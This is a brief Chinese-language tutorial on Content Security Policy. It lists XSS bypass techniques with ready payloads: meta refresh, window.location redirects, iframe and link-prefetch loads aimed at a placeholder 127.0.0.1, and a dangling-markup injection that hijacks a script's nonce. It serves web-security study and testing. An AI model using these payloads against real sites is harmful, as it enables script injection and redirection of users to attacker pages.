CSP

CSP,内容安全策略,主要功能是对网站加载或执行的资源进行安全策略的控制。它的实质就是白名单制度,它规定哪些外部资源可以加载和执行。它的实现和执行全部由浏览器完成。资源加载通过”script-src“、”style-src”等选项来限制外部资源的加载。”script-src”限制外部脚本的加载,strict-dynamic特性允许将信任关系传递给由受信任的script动态生成的脚本,忽略了script-src的白名单,使得之后生成的脚本可以执行。

XSS绕过

default-src ‘none’策略绕过

可以使用mata标签
<meta http-equiv="refresh" content="2;url=https://127.0.0.1">

script-src ‘unsafe-inline’策略绕过

可以使用window.location绕过
<script>window.location="https://127.0.0.1/3/1.html";</script>
实际上scrpit的内容都能被执行,该策略几乎就是形同虚设。

xxxx-src ‘*’绕过

*号可以允许匹配任何URL请求,假设一组csp策略为

1
Content-Security-Policy: default-src 'none'; connect-src 'self'; frame-src *; script-src http://xxxxx/js/ 'nonce-xxx';font-src http://xxxx/fonts/ fonts.gstatic.com; style-src 'self' 'unsafe-inline'; img-src 'self'

可以看到iframe的来源没有做任何限制,这里可以用iframe来进行绕过
<iframe src="https://127.0.0.1"></iframe>

xxx-src ‘self’绕过

可用link标签预加载绕过
<link rel="prefetch" href="https://127.0.0.1">

nonce绕过

若csp指定了nonce,某些情况可以利用浏览器补全的特性来绕过
假设一个插入点的情况如下

1
2
<p>插入点</p>
<script id="aa" nonce="123">document.write('CSP')</script>

可以输入<script src=1 onerror="alert(1)" a="
由于浏览器的补全特性,实际就会被拼接成

1
<p><script src=1 onerror="alert(1)" a="</p><script id="aa" nonce="123">document.write('CSP')</script>

a=”与id=”之间的部分将会失效,这样一来就劫持了原script标签的nonce属性